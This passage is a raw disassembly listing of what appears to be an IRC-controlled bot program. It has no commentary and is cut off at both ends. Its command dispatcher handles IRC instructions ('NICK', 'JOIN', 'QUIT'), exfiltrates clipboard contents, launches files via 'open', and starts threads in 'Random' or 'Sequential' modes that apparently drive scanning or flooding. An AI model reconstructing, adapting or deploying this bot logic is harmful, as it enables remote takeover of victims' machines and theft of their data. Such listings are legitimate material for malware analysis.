[ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_436104 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413929 loc_413913: ; CODE XREF: sub_40EE72+4AB5j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 2600833h jmp short loc_413913 ; --------------------------------------------------------------------------- loc_413929: ; CODE XREF: sub_40EE72+4A9Fj nop call near ptr 26402CBh push eax push offset dword_4385AC jmp loc_414E02 ; --------------------------------------------------------------------------- loc_41393A: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi call near ptr 27A0C7Ch nop test eax, eax jz short loc_413964 push edi push offset dword_4360D8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413964: ; CODE XREF: sub_40EE72+4AD1j push offset dword_436A78 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413975: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413992 push offset unk_4360A0 jmp short loc_413997 ; --------------------------------------------------------------------------- loc_413992: ; CODE XREF: sub_40EE72+4B17j push offset unk_43605C loc_413997: ; CODE XREF: sub_40EE72+4B1Ej lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139D0: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F2 push offset unk_436028 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_40EE72+4B74j push offset unk_435FE8 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FC: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A36 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_413A51 push dword ptr [eax] loc_413A1F: ; CODE XREF: sub_40EE72+4BDDj push edi lea eax, [ebp+var_2DC] push offset dword_435FBC push eax call sub_4172B0 add esp, 10h jmp short loc_413A64 ; --------------------------------------------------------------------------- loc_413A36: ; CODE XREF: sub_40EE72+4B97j push edi call dword_43F6EC cmp eax, ebx jz short loc_413A51 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43F6F4 push eax jmp short loc_413A1F ; --------------------------------------------------------------------------- loc_413A51: ; CODE XREF: sub_40EE72+4BA9j ; sub_40EE72+4BCDj push offset dword_435F84 loc_413A56: ; CODE XREF: sub_40EE72+3E2Fj ; sub_40EE72+3FBEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A64: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B37j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8E: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_435F50 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA7: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi jz short loc_413AC7 push offset unk_435F14 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_40EE72+4C49j push offset unk_435ED0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AD1: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_435E9C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE6: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_4367E4 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD2 ; --------------------------------------------------------------------------- loc_413B34: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 pop ecx pop ecx push esi nop call near ptr 2600833h push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call dword_43F700 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450D4[eax] call near ptr 27B0823h nop push edi call sub_41781F imul eax, 234h push edi mov dword_4450D4[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_444EC0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_435E50 loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA6j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_435E18 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_435DE4 jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_435DA8 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_435D80 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_436714 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435D50 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_435D20 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435CEC jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_437028 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 140h mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A mov edi, offset aF ; "#f" push offset byte_43C80C push edi call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push edi lea eax, [ebp+var_3B4] push 80h push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_435C74 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h nop call near ptr 2600833h jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j nop call near ptr 26402CBh push eax lea eax, [ebp+var_2DC] push offset unk_436F18 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+310Aj ; sub_40EE72+4FC4j push offset unk_435C30 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_435BF8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h nop call near ptr 2600833h jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j nop call near ptr 26402CBh push eax push offset unk_435BAC jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_435B80 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx call near ptr 2650000h nop loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F678 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h call near ptr 2600833h nop jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j nop call near ptr 26402CBh push eax push offset unk_435B38 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax call near ptr 2600889h nop push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h nop call near ptr 2600833h jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j nop call near ptr 26402CBh push eax push offset unk_435AF0 jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_43C80C loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435AA4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h call near ptr 2600833h nop jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j nop call near ptr 26402CBh push eax push offset dword_435A58 loc_4144D6: ; CODE XREF: sub_40EE72+3627j ; sub_40EE72+3724j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+360Bj ; sub_40EE72+3708j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43F590 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_435A24 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_4359E8 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset unk_4359AC jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset unk_435978 loc_414564: ; CODE XREF: sub_40EE72+4AFEj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_43593C jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4358FC loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_4358C4 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_43588C jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_43585C loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3963j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh call near ptr 2600000h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435834 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_435804 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_4357D0 push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_435798 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h nop call near ptr 2600833h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj nop call near ptr 